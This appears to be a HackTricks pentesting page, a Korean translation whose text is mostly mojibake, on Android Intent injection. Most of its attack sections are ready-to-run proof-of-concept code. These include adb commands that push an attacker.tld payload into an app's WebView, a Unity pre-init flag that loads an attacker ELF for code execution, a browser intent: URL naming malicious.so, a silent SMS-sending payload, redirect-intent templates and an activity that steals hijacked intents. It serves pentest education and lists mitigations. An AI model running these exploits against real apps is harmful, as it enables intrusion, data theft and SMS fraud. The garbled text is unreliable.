Intent Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Intent injection์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ Intents ๋๋ ๋์ค์ Intents๋ก ๋ณํ๋๋ ๋ฐ์ดํฐ๋ฅผ ํ์ฉํ๋ ์ปดํฌ๋ํธ๋ฅผ ์ ์ฉํฉ๋๋ค. Android ์ฑ pentests ๋์ ๋งค์ฐ ํํ ๋ ๊ฐ์ง ํจํด์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์กฐ์๋ extras๋ฅผ exported Activities/Services/BroadcastReceivers๋ก ์ ๋ฌํ๊ณ , ์ด๋ค์ด ์ดํ ๊ถํ์ด ์๋ non-exported ์ปดํฌ๋ํธ๋ก ์ ๋ฌ๋๋ ๊ฒฝ์ฐ.
- ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ URL์ ๋ด๋ถ WebView๋ ๊ธฐํ ๋ฏผ๊ฐํ sink๋ก ์ ๋ฌํ๋ exported VIEW/BROWSABLE ๋ฅ ๋งํฌ๋ฅผ ํธ๋ฆฌ๊ฑฐํ๋ ๊ฒฝ์ฐ.
๋ฅ ๋งํฌ โ WebView sink (URL ํ๋ผ๋ฏธํฐ ์ธ์ ์ )
์ฑ์ด ๋ค์๊ณผ ๊ฐ์ ์ปค์คํ ์คํด ๋ฅ ๋งํฌ๋ฅผ ๋ ธ์ถํ๋ ๊ฒฝ์ฐ:
myscheme://com.example.app/web?url=<attacker_url>
๊ทธ๋ฆฌ๊ณ ์์ Activity๊ฐ url ์ฟผ๋ฆฌ ๋งค๊ฐ๋ณ์๋ฅผ WebView๋ก ์ ๋ฌํ๋ฉด, ์ฑ์ด ์์ฒด WebView ์ปจํ
์คํธ์์ ์์์ ์๊ฒฉ ์ฝํ
์ธ ๋ฅผ ๋ ๋๋งํ๋๋ก ๊ฐ์ ํ ์ ์์ต๋๋ค.
adb๋ฅผ ํตํ PoC:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
์ํฅ
- HTML/JS๊ฐ ์ฑ์ WebView ํ๋กํ ๋ด์์ ์คํ๋ฉ๋๋ค.
- JavaScript๊ฐ ํ์ฑํ๋์ด ์์ผ๋ฉด(๊ธฐ๋ณธ๊ฐ์ด๊ฑฐ๋ ๊ฒ์ฌ ์์๊ฐ ์๋ชป๋ ๊ฒฝ์ฐ) ๋
ธ์ถ๋
@JavascriptInterface๊ฐ์ฒด๋ฅผ ์ด๊ฑฐ/์ฌ์ฉํ๊ณ WebView ์ฟ ํค/๋ก์ปฌ ์คํ ๋ฆฌ์ง๋ฅผ ํ์ทจํ๋ฉฐ ํผ๋ฒํ ์ ์์ต๋๋ค.
See also:
๊ฒ์ฌ ์์ ๋ฒ๊ทธ๋ก ์ธํ JavaScript ํ์ฑํ
์์ฃผ ๋ฐ์ํ๋ ๋ฒ๊ทธ๋ ์ต์ข URL ํ์ฉ ๋ชฉ๋ก/๊ฒ์ฆ์ด ์๋ฃ๋๊ธฐ ์ ์ JavaScript(๋๋ ๊ธฐํ ๊ด๋ํ WebView ์ค์ )๋ฅผ ํ์ฑํํ๋ ๊ฒ์ ๋๋ค. ์ด๊ธฐ ํฌํผ๊ฐ ๋น์ ์ ๋ฅ ๋งํฌ๋ฅผ ์๋ฝํ๊ณ WebView๊ฐ ๋จผ์ ๊ตฌ์ฑ๋๋ฉด, ์ดํ ๊ฒ์ฌ๊ฐ ์๋ชป๋์๊ฑฐ๋ ๋๋ฌด ๋ฆ๋๋ผ๋ ์ต์ข ๋ก๋๋ ์ด๋ฏธ JavaScript๊ฐ ํ์ฑํ๋ ์ํ์์ ๋ฐ์ํฉ๋๋ค.
๋์ปดํ์ผ๋ ์ฝ๋์์ ์ฐพ์๋ณผ ํญ๋ชฉ:
- URL์ ๋ค๋ฅด๊ฒ ํ์ฑ/๋ถํ /์ฌ๊ตฌ์ฑํ๋ ์ฌ๋ฌ ํฌํผ(์ ๊ทํ ๋ถ์ผ์น).
- ๋ง์ง๋ง ํธ์คํธ/๊ฒฝ๋ก ํ์ฉ ๋ชฉ๋ก ๊ฒ์ฌ ์ ์
getSettings().setJavaScriptEnabled(true)๋ฅผ ํธ์ถํ๋ ๋ถ๋ถ. - ํ์ดํ๋ผ์ธ ์์: ํ์ฑ โ ๋ถ๋ถ ๊ฒ์ฆ โ WebView ๊ตฌ์ฑ โ ์ต์ข ๊ฒ์ฆ โ loadUrl.
Unity Runtime: Intent-to-CLI extras โ ์ฌ์ ์ด๊ธฐํ ๋ค์ดํฐ๋ธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์ (RCE)
Unity ๊ธฐ๋ฐ Android ์ฑ์ ์ผ๋ฐ์ ์ผ๋ก ์ง์
Activity๋ก com.unity3d.player.UnityPlayerActivity(๋๋ UnityPlayerGameActivity)๋ฅผ ์ฌ์ฉํฉ๋๋ค. Unity์ Android ํ
ํ๋ฆฟ์ unity๋ผ๋ ์ด๋ฆ์ ํน๋ณํ Intent extra๋ฅผ Unity ๋ฐํ์์ ์ ๋ฌ๋๋ ๋ช
๋ น์ค ํ๋๊ทธ ๋ฌธ์์ด๋ก ์ทจ๊ธํฉ๋๋ค. ์ง์
Activity๊ฐ exported๋์ด ์์ผ๋ฉด(๋ง์ ํ
ํ๋ฆฟ์ ๊ธฐ๋ณธ๊ฐ), ๋ก์ปฌ ์ฑ โ ๊ฒฝ์ฐ์ ๋ฐ๋ผ BROWSABLE๊ฐ ์ค์ ๋ ์น์ฌ์ดํธ๋ โ ์ด extra๋ฅผ ์ ๊ณตํ ์ ์์ต๋๋ค.
์ํํ๊ณ ๋ฌธ์ํ๋์ง ์์ ํ๋๊ทธ๊ฐ ๋งค์ฐ ์ด๊ธฐ ํ๋ก์ธ์ค ์ด๊ธฐํ ์ค์ ๋ค์ดํฐ๋ธ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง๋๋ค:
- ์จ๊ฒจ์ง ํ๋๊ทธ:
-xrsdk-pre-init-library <absolute-path> - ํจ๊ณผ: ์ด๊ธฐํ ๋จ๊ณ ์ด๊ธฐ์
dlopen(<absolute-path>, RTLD_NOW)๊ฐ ํธ์ถ๋์ด ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ELF๊ฐ ๋์ ์ฑ ํ๋ก์ธ์ค ๋ด๋ถ์์ ํด๋น UID์ ๊ถํ์ผ๋ก ๋ก๋๋ฉ๋๋ค.
๋ฆฌ๋ฒ์ค ์์ง๋์ด๋ง ๋ฐ์ท(๋จ์ํ):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
์๋ ์๋ฆฌ
- The Intent extra
unity๋ Unity ๋ฐํ์ ํ๋๊ทธ๋ก ํ์ฑ๋ฉ๋๋ค. - pre-init ํ๋๊ทธ๋ฅผ ์ ๊ณตํ๋ฉด Unity๊ฐ ํ์ฉ๋ linker namespace ๊ฒฝ๋ก ๋ด์ ๊ณต๊ฒฉ์ ์ ์ด ELF ๊ฒฝ๋ก๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ๋ฉ๋๋ค (์๋ ์ ์ฝ ์ฐธ์กฐ).
Conditions for exploitation
- Unity์ entry Activity๋ exported๋์ด ์์ต๋๋ค(์ผ๋ฐ์ ์ผ๋ก ๊ธฐ๋ณธ๊ฐ์ผ๋ก true).
- ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํ ์ํด๋ฆญ ์๊ฒฉ์ ๊ฒฝ์ฐ: entry Activity๋
android.intent.category.BROWSABLE๋ ์ ์ธํ์ฌintent:URL์์ extras๋ฅผ ์ ๋ฌํ ์ ์์ต๋๋ค.
Local exploitation (same device)
- ํผํด์ ์ฑ์ด ์ฝ์ ์ ์๋ ๊ฒฝ๋ก์ payload ELF๋ฅผ ๋ฐฐ์นํฉ๋๋ค. ๊ฐ์ฅ ์ฌ์ด ๋ฐฉ๋ฒ: ๊ณต๊ฒฉ์ ์ฑ์ ์
์ฑ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํฌํจ์์ผ attacker์ manifest์ ์ค์ ํ์ฌ
/data/app/.../lib/<abi>/์๋์ ์ถ์ถ๋๋๋ก ํฉ๋๋ค:
<application android:extractNativeLibs="true" ...>
unityextra์์ CLI pre-init flag๋ฅผ ์ฌ์ฉํ์ฌ ํผํด์์ Unity activity๋ฅผ ์คํํฉ๋๋ค. ADB PoC ์์:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (์นด๋ฉ๋ผ/๋ง์ดํฌ/๋คํธ์ํฌ/์คํ ๋ฆฌ์ง ๋ฑ) ๋ฐ ์ธ์ฑ ์ธ์ /๋ฐ์ดํฐ์ ๋ํ ์ ๊ทผ ๊ถํ์ ์์ํฉ๋๋ค.
Notes
- ์ ํํ
/data/app/...๊ฒฝ๋ก๋ ๊ธฐ๊ธฐ/์ค์น๋ง๋ค ๋ค๋ฆ ๋๋ค. An attacker app๋ ๋ฐํ์์getApplicationInfo().nativeLibraryDir๋ฅผ ํตํด ์์ ์ native lib ๋๋ ํฐ๋ฆฌ๋ฅผ ๊ฐ์ ธ์ค๊ณ ์ด๋ฅผ trigger์๊ฒ ์ ๋ฌํ ์ ์์ต๋๋ค. - ํ์ผ์ด ์ ํจํ ELF๋ผ๋ฉด
.so๋ก ๋๋ ํ์๊ฐ ์์ต๋๋ค โdlopen()์ ํ์ฅ์๊ฐ ์๋๋ผ ELF ํค๋๋ฅผ ๊ฒ์ฌํฉ๋๋ค.
Remote oneโclick via browser (conditional)
If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
๊ทธ๋ฌ๋ ์ต์ Android์์๋ ๋์ ๋ง์ปค ๋ค์์คํ์ด์ค์ SELinux๊ฐ ๋ง์ ๊ณต๊ฐ ๊ฒฝ๋ก(์: /sdcard/Download)์์์ ๋ก๋ฉ์ ์ฐจ๋จํฉ๋๋ค. ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๊ฐ ํ์๋ ๊ฒ์
๋๋ค:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
์ฐํ ์ ๋ต: ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฐ์ดํธ๋ฅผ ์ฑ์ private ์คํ ๋ฆฌ์ง ์๋(์: HTTP caches)์ ์บ์ํ๋ ์ฑ์ ๋์์ผ๋ก ํฉ๋๋ค. ํ์ฉ๋ ๊ฒฝ๋ก์ /data์ ์ฑ์ private dir๊ฐ ํฌํจ๋์ด ์์ผ๋ฏ๋ก, -xrsdk-pre-init-library๋ฅผ ์ฑ ์บ์ ๋ด๋ถ์ ์ ๋ ๊ฒฝ๋ก๋ก ๊ฐ๋ฆฌํค๋ฉด ๋ง์ปค ์ ์ฝ์ ์ถฉ์กฑ์์ผ ์ฝ๋ ์คํ์ ์ป์ ์ ์์ต๋๋ค. ์ด๋ ๋ค๋ฅธ Android ์ฑ๋ค์์ ๊ด์ฐฐ๋ ์ด์ ์ cache-to-ELF RCE ํจํด์ ๋ฐ์ํฉ๋๋ค.
ConfusedโDeputy: ACTION_SENDTO๋ฅผ ํตํ ๋ฌด์ SMS/MMS (Wear OS Google Messages)
์ผ๋ถ ๊ธฐ๋ณธ ๋ฉ์์ง ์ฑ์ ์์์ ๋ฉ์์ง intent๋ฅผ ์๋ชป ์๋ ์คํํ์ฌ ์ด๋ฅผ confusedโdeputy primitive๋ก ๋ง๋ญ๋๋ค: ๊ถํ ์๋ ์ฑ์ด๋ผ๋ Intent.ACTION_SENDTO๋ฅผ sms:, smsto:, mms:, ๋๋ mmsto:์ ํจ๊ป ํธ๋ฆฌ๊ฑฐํด ํ์ธ UI๋ SEND_SMS ๊ถํ ์์ด ์ฆ์ ์ ์ก์ ์ ๋ฐํ ์ ์์ต๋๋ค.
Key points
- Trigger: ์์์
ACTION_SENDTO+ ๋ฉ์์ง URI ์คํด. - Data: ์์ ์๋ URI์ ์ค์ , ๋ฉ์์ง ํ
์คํธ๋
"sms_body"extra์ ์ค์ . - Permissions: ์์ (no
SEND_SMS), ๊ธฐ๋ณธ SMS/MMS ํธ๋ค๋ฌ์ ์์กด. - Observed: Google Messages for Wear OS (patched May 2025). ๋ค๋ฅธ ํธ๋ค๋ฌ๋ ์ ์ฌํ๊ฒ ํ๊ฐํด์ผ ํฉ๋๋ค.
Minimal payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (ํน๋ณ ๊ถํ ๋ถํ์)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
๊ณต๊ฒฉ ํ๋ฉด ํ์ฅ (Wear OS)
- ์กํฐ๋นํฐ๋ฅผ ์์ํ ์ ์๋ ๋ชจ๋ ์ปดํฌ๋ํธ๋ ๋์ผํ ํ์ด๋ก๋๋ฅผ ์คํํ ์ ์์ต๋๋ค: Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - ๊ธฐ๋ณธ ํธ๋ค๋ฌ๊ฐ ์๋์ผ๋ก ์ ์กํ๋ ๊ฒฝ์ฐ, OEM ์ ์ฑ ์ ๋ฐ๋ผ ๋ฐฑ๊ทธ๋ผ์ด๋ ์ปจํ ์คํธ์์ ์ํญ ๋๋ ์์ ํ ๋ฌด์์ผ๋ก ์ ์ฉ๋ ์ ์์ต๋๋ค.
Pentest checklist
- ๋์์์
ACTION_SENDTO๋ฅผ ํ์ธํ์ฌ ๊ธฐ๋ณธ ํธ๋ค๋ฌ๋ฅผ ์๋ณํ๊ณ , ์์ฑ UI๋ฅผ ํ์ํ๋์ง ๋๋ ๋ฌด์์ผ๋ก ์ ์กํ๋์ง ํ์ธํฉ๋๋ค. - ๋์ ์ฐจ์ด๋ฅผ ํ์ธํ๊ธฐ ์ํด ๋ค ๊ฐ์ง ์คํด (
sms:,smsto:,mms:,mmsto:) ๋ฐ extras (sms_body, ์ต์ ์ผ๋ก MMS์subject)๋ฅผ ๋ชจ๋ ํ ์คํธํ์ธ์. - ์ค์ ๊ธฐ๊ธฐ์์ ํ ์คํธํ ๋ ์๊ธ์ด ๋ถ๊ณผ๋๋ ๋ชฉ์ ์ง/์ ๋ฃ ๋ฒํธ(premiumโrate numbers)๋ฅผ ๊ณ ๋ คํ์ธ์.
Other classic Intent injection primitives
- ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ
Intentextras๋ฅผ ์ฌ์ฉํ๋ startActivity/sendBroadcast๋ก, ์ด extras๊ฐ ๋์ค์ ์ฌํ์ฑ(Intent.parseUri(...))๋์ด ์คํ๋๋ ๊ฒฝ์ฐ. - ๊ถํ ๊ฒ์ฌ ์์ด Intents๋ฅผ non-exported ๋ฏผ๊ฐ ์ปดํฌ๋ํธ๋ก ์ ๋ฌํ๋ exported proxy ์ปดํฌ๋ํธ.
exported-component ํ ์คํธ ์๋ํ (Smali-driven ADB generation)
exported ์ปดํฌ๋ํธ๊ฐ ํน์ extras๋ฅผ ๊ธฐ๋ํ ๋, ํ์ด๋ก๋ ํํ๋ฅผ ์ถ์ธกํ๋ฉด ์๊ฐ ๋ญ๋น์ false negatives๊ฐ ๋ฐ์ํฉ๋๋ค. Smali์์ ํค/ํ์ ์ ์ง์ ์๋์ผ๋ก ์ฐพ์๋ด์ด ๋ฐ๋ก ์คํ ๊ฐ๋ฅํ adb ๋ช ๋ น์ ์ถ๋ ฅํ ์ ์์ต๋๋ค.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: Smali๋ฅผ ๋์ปดํ์ผํ๊ณ
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()๊ฐ์ ํธ์ถ์ ์ค์บํ์ฌ ๊ฐ ์ปดํฌ๋ํธ๊ฐ ์๋นํ๋ extras์ ํ๋๋ฅผ ์ถ๋ก ํฉ๋๋ค. - Output: ๋ชจ๋ exported Activity/Service/Receiver/Provider์ ๋ํด, ๋๊ตฌ๋ ๊ฐ๋จํ ์ค๋ช
๊ณผ ์ฌ๋ฐ๋ฅธ ํ์
์ ํ๋๊ทธ๊ฐ ์ ์ฉ๋ ์ ํํ
adb shell am .../cmd content ...๋ช ๋ น์ ์ถ๋ ฅํฉ๋๋ค.
์ค์น
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
์ฌ์ฉ๋ฒ
python apk-components-inspector.py target.apk
์์ ์ถ๋ ฅ
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras ์นํธ์ํธ (ํ์ ์ธ์ ํ๋๊ทธ)
- ๋ฌธ์์ด:
--es key value| ๋ฌธ์์ด ๋ฐฐ์ด:--esa key v1,v2 - ์ ์:
--ei key 123| ์ ์ ๋ฐฐ์ด:--eia key 1,2,3 - ๋ถ๋ฆฌ์ธ:
--ez key true|false - Longs:
--el key 1234567890 - ์ค์:
--ef key 1.23 - URI (extra):
--eu key content://...| Data URI (Intent data):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null ๋ฌธ์์ด extra:
--esn key - ๊ณตํต ํ๋๊ทธ:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Providers๋ฅผ ์ํ ํ๋ก ํ
- ์์ด์ ํธ ์์ด ContentProviders์ ์ ๊ทผํ๋ ค๋ฉด
adb shell cmd content query|insert|update|delete ...๋ฅผ ์ฌ์ฉํ์ธ์. - SQLi ํ์์ ์ํด, ๊ธฐ๋ณธ provider๊ฐ SQLite-backed์ธ ๊ฒฝ์ฐ
--projection๊ณผ--where(์ฆ selection)์ ๋ค์ํ๊ฒ ์๋ํ์ธ์.
Full-pipeline automation (interactive executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
adb ๋ช ๋ น์ ํ์ฑํ๊ณ ์คํํ๋ ๋์ฐ๋ฏธ ์คํฌ๋ฆฝํธ
```python import subprocessdef parse_adb_commands(file_path): with open(file_path, โrโ) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(โadb โ): current = [s] elif s.startswith(โ#โ) or not s: if current: full = โ โ.join(current).replace(โ \ โ, โ โ).replace(โ\โ, โโ).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = โ โ.join(current).replace(โ \ โ, โ โ).replace(โ\โ, โโ).strip() commands.append(full) return commands
for i, cmd in enumerate(parse_adb_commands(โadbcommands.txtโ), 1): print(fโ\nCommand {i}: {cmd}โ) input(โPress Enter to execute this commandโฆโ) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(โOutput:\nโ, r.stdout) if r.stderr: print(โErrors:\nโ, r.stderr) except subprocess.CalledProcessError as e: print(fโCommand failed with error:\n{e.stderr}โ)
</details>
๊ธฐ๊ธฐ์์ ์คํ: ์ธ์คํํฐ๋ Python ๊ธฐ๋ฐ์ด๋ฉฐ `apktool`/`androguard`๊ฐ ์ฌ์ฉ ๊ฐ๋ฅํ Termux ๋๋ ๋ฃจํ
๋ ํด๋ํฐ์์ ๋์ํฉ๋๋ค.
---
## Intent Redirection (CWE-926) โ finding and exploiting
ํจํด
- ์ธ๋ถ์ ๋
ธ์ถ๋ ์ํธ๋ฆฌ ํฌ์ธํธ(Activity/Service/Receiver)๊ฐ ๋ค์ด์ค๋ Intent๋ฅผ ์ฝ์ด ์ถ์ฒ/๋ฐ์ดํฐ๋ฅผ ๊ฒ์ฆํ์ง ์๊ณ ๋ด๋ถ ๋๋ ์ธ๋ถ๋ก ์ ๋ฌํ๋ ๊ฒฝ์ฐ, ์:
- `startActivity(getIntent())`
- `startActivity(intent)` (์ฌ๊ธฐ์ `intent`๋ `redirect_intent`/`next_intent`/`pending_intent` ๊ฐ์ extra์์ ์๊ฑฐ๋ `Intent.parseUri(...)`๋ก ์์ฑ๋ ๊ฒฝ์ฐ)
- ๊ฒ์ฆ ์์ด `action`/`data`/`component` ํ๋๋ฅผ ์ ๋ขฐํ๊ฑฐ๋ ํธ์ถ์ ์ ์์ ํ์ธํ์ง ์์.
Smali/Java์์ ์ฐพ์์ผ ํ ํญ๋ชฉ
- `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)` ๋ฑ์ ์ฌ์ฉ ์ฌ๋ถ.
- ๊ณต๊ฒฉ์๊ฐ ์กฐ์ํ Intent์ ๋ํด ์ง์ `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` ํธ์ถ.
- `getCallingPackage()`/`getCallingActivity()` ๊ฒ์ฌ๋ ์ปค์คํ
๊ถํ ๊ฒ์ฆ์ด ์๋ ๊ฒฝ์ฐ.
ADB PoC ํ
ํ๋ฆฟ
- ํ๋ก์ Activity๊ฐ ์ถ๊ฐ Intent๋ฅผ ๊ถํ ์๋ ๋ด๋ถ Activity๋ก ์ ๋ฌ:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
redirect_intentparcelable์ ์ฒ๋ฆฌํ๋ Exported Service:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Exported Receiver (๊ฒ์ฆ ์์ด ์ค๊ณํจ):
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
singleTask ์คํ์ผ ๋์์ ์ ์ฉํ Flags
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
์ค์ ์ฌ๋ก(์ํฅ์ ๋ค์ํจ):
- CVE-2024-26131 (Element Android): exported ํ๋ก์ฐ๊ฐ WebView ์กฐ์, PIN ์ฐํ, login hijack์ผ๋ก ์ด์ด์ง.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTIONโ ์์คํ ์์ค ์ํฅ. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): ๋ฆฌ๋๋ ์ โ ์์ ํ์ผ ์ ๊ทผ(์ฌ์ฉ์ ์ํธ์์ฉ ํ์).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents๊ฐ content๋ฅผ leakํจ.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
์ํ ๋ชจ๋ธ
- App A๋ implicit Intent๋ฅผ ์ฌ์ฉํด App B๋ก๋ถํฐ ๋ฏผ๊ฐํ ๊ฒฐ๊ณผ๋ฅผ ๊ธฐ๋ํจ(์: OAuth redirect, document picker ๊ฒฐ๊ณผ, IMAGE_CAPTURE ๋ฆฌํด, ๋๋ custom callback action).
- ๊ณต๊ฒฉ์ App C๋ ๋์ผํ
action/category/data์ ๋งค์นญ๋๋<intent-filter>๋ฅผ ๊ฐ์ง exported ์ปดํฌ๋ํธ๋ฅผ ๊ฒ์ํ๋ค. B๊ฐ implicit Intent๋ฅผ resolveํ ๋ resolver๊ฐ chooser๋ฅผ ํ์ํ ์ ์์ผ๋ฉฐ; ์ฌ์ฉ์๊ฐ C๋ฅผ ์ ํ(๋๋ ๊ธฐ๋ณธ์ผ๋ก ์ค์ )ํ๋ฉด ํ์ด๋ก๋๊ฐ A ๋์ ๊ณต๊ฒฉ์ ์ปดํฌ๋ํธ๋ก ์ ๋ฌ๋๋ค.
์ต์ PoC ๋งค๋ํ์คํธ(๊ณต๊ฒฉ์):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
ํธ๋ค๋ฌ ๋ผ๋:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
์ฐธ๊ณ
- ๋งค์นญ์ ๊ตฌ์ฒด์ฑ์ด ์ค์ํฉ๋๋ค (action + categories + data). C์ ํํฐ๊ฐ B์ ์ก์ Intent์ ๋ ๊ตฌ์ฒด์ ์ผ์๋ก ํ์๋๊ฑฐ๋ ์๋ ์ ํ๋ ๊ฐ๋ฅ์ฑ์ด ๋์์ง๋๋ค.
- ์ด๋ ์ฑ์ด ๋ค๋ฅธ ์ฑ์ด URL์ ์ฒ๋ฆฌํ๊ณ ๋ฌด์ธ๊ฐ๋ฅผ ๋ฐํํ๊ธฐ๋ฅผ ๊ธฐ๋ํ ๋์ deep links (
VIEW+BROWSABLE)์๋ ์ ์ฉ๋ฉ๋๋ค.
Pentest guidance
- ํ๊น์์ ๋ช
์์ ์ด์ง ์์ Intents๋ฅผ ์ฌ์ฉํ๋
startActivity/startActivityForResult/registerForActivityResultํธ์ถ์ grepํ์ธ์. extras,clipData, ๋๋getData()์ ํ ํฐ์ ๋ด์ ๋ณด๋ด๋ Intents๋ฅผ ๊ฒ์ฌํ๊ณ , ํ์ฌ๊ฐ ํธํ ๊ฐ๋ฅํ ํํฐ๋ฅผ ๋ฑ๋กํ ์ ์๋์ง ํ์ธํ์ธ์.- ์๋ฌต์ ํ๋ฆ์ ๋ช
์์ Intents๋ก ๊ต์ฒด( set
setPackage()/setComponent()), ๋๋ exported receivers/services์ ๋ํด caller-permission/์๋ช ๋ ๊ถํ์ ์๊ตฌํ๋๋ก ๊ถ์ฅํฉ๋๋ค.
์ํ์ฑ
- ์ฝ๋ฐฑ, ํ ํฐ, ์ธ์ฆ ๊ฒฐ๊ณผ ๋ฑ ๋ฏผ๊ฐํ ํ๋ฆ์๋ ๋ช ์์ Intents๋ฅผ ์ฌ์ฉํ์ธ์.
- ์ฑ ๊ฐ ํต์ ์ด ํ์ํ ๊ฒฝ์ฐ ์์ ์ปดํฌ๋ํธ์ ๊ถํ ์๊ตฌ์ฌํญ์ ์ถ๊ฐํ๊ณ ํธ์ถ์ ์ ์์ ๊ฒ์ฆํ์ธ์.
- Intent filters๋ ๊ผญ ํ์ํ ๊ฒ๋ง ํ์ฉํ๋๋ก ์ ํํ๊ณ ์๊ฒฉํ๊ฒ ์ค์ ํ์ธ์ (scheme/host/path/MIME).
๋ฆฌ์กธ๋ฒ ๊ฒฐ์ ๊ด์ฐฐ (FLAG_DEBUG_LOG_RESOLUTION)
